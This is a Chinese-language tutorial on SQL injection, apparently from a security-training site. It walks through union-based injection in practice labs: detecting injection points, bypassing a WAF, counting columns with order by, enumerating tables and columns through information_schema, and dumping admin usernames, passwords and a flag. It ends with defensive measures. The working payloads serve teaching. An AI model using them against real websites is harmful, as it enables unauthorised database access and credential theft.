本章所需知识前置:MYSQL数据库基础
PHP基础
SQL是操作数据库数据的结构化查询语言,网页的应用数据和后台数据库中的数据进行交互时会采用SQL。
SQL 注入攻击是一种攻击数据库的常见攻击,主要是由于开发者在编写代码时没有对输入数据的合法性进行判断,导致网页程序存在安全漏洞。
SQL注入(SQL Injection,简称SQLi)是将Web页面的URL、表单或数据包携带的参数,通过添加或修改拼接成SQL语句,传递给Web服务器,进而传给数据库服务器以执行数据库命令,根据程序返回的结果进行判断分析,从而获得数据库中需要的信息。其本质是通过网站开放数据库接口非法获取数据库信息。
如web应用程序的开发人员对用户所输入的数据或cookie 等内容不进行过滤或验证(即存在注入点)就直接传输给数据库, 就可能导致拼接的SQL被执行,获取数据库的信息以及修改、提权, 由此发生SQL注入攻击。
知识背景:SQL注入是1998年一名叫做rfp的黑客发表的一篇文章所进入大家视线的,并在OWASP TOP10霸占榜首多年,也是目前影响力最大,覆盖面最广的漏洞。
SQL注入漏洞的检测分为手动检测和自动检测。手动检测是安全测试人员对某个特定区间的URL进行手工注入测试;自动检测是利用爬虫爬取网站的所有链接,对所有的链接自动进行注入测试。在大型应用中,手动检测的工作量是巨大的,一般采用自动检测的方式。
通常流程分为以下几个主要步骤:
通过URL传参参数判断,通常存在于PHP类型(MySQL数据库)和ASP类型(Access数据库)。
几种可能存在的注入点(以GET传参类型为例):
第一种:页面报错
1
时页面正常显示2
时页面正常显示,与1
相同3
时页面报错第二种:页面执行
1
时页面正常显示页面A的内容2
时页面正常显示页面B的内容3
时页面正常显示页面A的内容获取数据库类型信息:
网站服务器最常用的数据库有三个,分别是Access、mssql和MySQL,偶尔会用到ORACLE,通常使用场景按照网站的规模划分。
@@ version()> 0
user> 0
substring/substr
information_schema/sysobject/msysobject
banner FROM v$version
获得表名、字段名:
在MySQL>5.0版本的数据库中,系统自建库Information_Schema
中生成的tables
和columns
表会含有所有库中的表名和字段名,可以通过限制条件查找所需信息。
在Access数据库中,由于系统承载更大的数据量和更复杂的结构关系,所以没有包含所有表结构的系统自建库,所以只能通过查询语句猜解表名和字段名。
可利用语句:and exists(select * from 表名)或and exists(select * from 字段名)猜测表名/字段名。如果页面返回是正常的,就证明所猜测的表名正确;如果页面返回 不正常,那么就证明所猜测的表名不正确,换表名继续执行上述语句,一直到返回正常页面而猜到正确的表名/字段名。
当我们进入靶场后,点击查看新闻能够看到本页新闻信息,此时我们发现地址栏中存在?id=1
此时我们将此参数改为?id=2
,发现跳转到了下一个新闻页面
在我们已知的PHP传参语法中可知此时以id作为变量,进行了IF等判断,并在判断后进行了从数据库取出页面的操作
我们可以大胆猜测此时执行的query:
SELECT * from news where id = 1;
——-|接下来是验证注入|——-
为了证明一个网站是否存在SQL注入,进行一个与运算:在地址栏后加入 and 1=2
,此时相当于进行了一个1=0的运算,可见页面异常,那么这个页面存在注入的几率非常高
此时我们进入靶场2,输入?id=1 and 1=1
,我们能够发现被WAF(网页防火墙)拦截了,这是目前网络上大量网站的常态,不过有WAF拦截不代表就没有SQL注入,我们试试用其他方法证明
我们删除”?”后所有内容,输入id=2-1
,页面返回正常,证明网站能对我们的输入进行算数处理,那么这个页面存在注入的几率也非常高
好了,存在漏洞至此已经被我们推理出来了。此时我们回想一下联合查询语句及其功能:UNION SELECT (将两条查询语句的结果统一到一个表输出),有了它我们在执行query语句
SELECT * from A where id=1 UNION SELECT * from B;
时相当于同时查询了AB两个表的信息。将此思想运用到我们的注入中,便可以将获取的信息的结果与合法结果连接起来。
另外,我们也知道当我们输入query语句SELECT 1,2,3,...,n from xxx
时,我们能够得到一张n列填充了1,2,3,…,n的表,如图所示
我们就可以用这个特性来简单的找到页面和我们的输入交互的点(回显点),如在靶场1中,我们可以使用?id=1 and 1=2 union select 1,2
得到页面回显“2”,证明表的第二列是网页的回显点。
那么问题来了,在不知道表名的情况下从哪一个表获取信息呢?
MySQL 5.0以 上的版本,系统会生成一个自带库存放着库和表和字段的对应关系,库名为information_schema
。在这个库里有一个名字为tables
的表,在此存放了所有库和表名的对应关系。例:
SELECT table_name from tables where table_schema = 'A'; //查找A库中所有的表
以上语句的结果直接列出我们指定的数据库中所有的表。
同样的,当我们不知道当前使用的表的时候,我们就可以使用database()查询,例如在靶场1中,在已知第二列具有回显点后,使用?id=1 and 1=2 union select 1,database()
便可轻易得到现在正在使用的库名”maoshe”。
现在我们扩大范围。我们都知道query语句里指定某个库中的某张表使用的是”.”运算符,如a.b
就是<u>a库</u>中的<u>b表</u>,所以我们在此使用系统生成库information_schema
下的总表tables
进行库中所有表的查找。实现如下(默认已输入?id=1 and 1=2
):
UNION SELECT 1,table_name from information_schema.tables where table_schema=database()
回显点已经显示了库中第一张表,正好是admin
,可见管理员信息就在其中。
不过我们不打算收手,因为很明显这个回显点只会输出一条信息,我们如果想要知道所有的表明,就要用到limit
语句了。
... limit n,m =>从n开始向下取m条数据
... limit 0,1 =>从0开始向下取1条数据 =>取第一条数据
... limit 1,1 =>从1开始向下取1条数据 =>取第二条数据
... limit 0,2 =>从0开始向下取2条数据
依次取表名后得到以下结果
information_schema.tables |
---|
admin |
dirs |
news |
xss |
到了这一步,数据库中所有的表名我们都掌握了。我们接下来要做的就是查询指定表中的每列信息,这里使用的是column_name
,这同样包含在information_schema.columns
里,例如
... UNION SELECT 1,column_name from information_schema.columns where table_name='admin' and table_schema=database()
此时可见页面回显点显示了第一列标签:Id
,那么我们继续使用limit
检索其他列
... limit 0,1 =>Id
... limit 1,1 =>username
... limit 2,1 =>password
... limit 3,1 =>不显示,证明admin表只有3列
好了,到此为止我们表名,字段名全部收集完成了,可以执行以下语句
... UNION SELECT 1,username from admin //获取用户名
... UNION SELECT 1,password from admin //获取密码
这个靶场就打下来了。
先通过布尔运算报错确定是否存在SQL注入。当1=1时,条件为真,页面返回结果正常;当1=2时,条件为假,页面返回结果异常;
猜解当前页面的字段数 。
and 1=1 order by 3 #由于输入order by 4后会出现报错,得知该表只有三个字段
判断显示位置,找出输出点
and 1=2 union select 1,2,3
找出输出位后通过系统自建表Information_schema.tables
查询表名
union select 1,2,table_name from information_schema.tables where table_schema=database()
union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1
找到需要的表名后同样通过字段名表Information_schema.columns
查询字段名
union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name='error_flag'
union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name='error_flag' limit 1,1
根据字段名查出靶场flag
union select 1,2,flag from error_flag
union select 1,2,flag from error_flag limit 1,1
使用敏感字符过滤的方法对用户提交信息进行检查,过滤敏感的关键词,如and or union order — 或特殊符号等。或是通过某种转码格式进行编码转换,使用户输入统一作为字符串传参。
不将用户提交的内容直接嵌入到数据库执行命令的语句中, 而是通过传入数据库前参数进行传递,能有效地防御SQL注入。或是比较用户输入提交前后动态SQL语句的语法结构是否一致来检测SQL注入攻击。
与SQL语句预编译和绑定变量相似,该方法着重于在收到使用者输入的数据时,通过转义、排除固定字符后检测字段内容是否属于当前字段所需的类型。
控制独立用户访问数据库的权限,通常会将用户映射到所要操作的数据库,并且为此映射用户单独附加权限。一般的网页交互所需的数据库应该给予用户最低权限。
具体来说,SQL注入是利用现有应用程序,将恶意的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入恶意SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。
而注入攻击的本质是把用户的输入当作代码执行,这里的两个关键条件是:
有了这样的渗透思想之后,我们不难发现,由此衍生出的种种注入方式,不是通过例子中GET型的URL传参能够概括的,而更加多能够提供用户与WEB服务器数据交互的地方,都可能存在注入漏洞。由此可见,在渗透测试的博弈中网站开发与网站管理才是最重要的防御环节,而网站管理人员与开发人员也切不可大意。
参考资料
掌控安全讲师 - 聂风 正式课第九期《SQL注入的原理分析》
The Coding Interview 《How to prevent SQL Injection?》(https://www.youtube.com/watch?v=mo8RsfhtUG8)
Green Academy 《SQL Injection》(https://www.youtube.com/watch?v=4z8N_IdFvtw)
参考文献
陈炜《基于手工SQL注入的Web渗透测试技术研究》,2015.
周敬利,王晓峰,余胜生等 《一种新的SQL注入策略的研究与实现》 ,2006 .
文库:
EC’s Writting
EC’s Document
GitHub:@bakaEC
用户名 | 金币 | 积分 | 时间 | 理由 |
---|---|---|---|---|
veek | 150.00 | 0 | 2020-11-09 09:09:26 | 排版优秀~~ |
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.
maxxu
发表于 2020-12-16
很详细,顶顶顶
评论列表
加载数据中...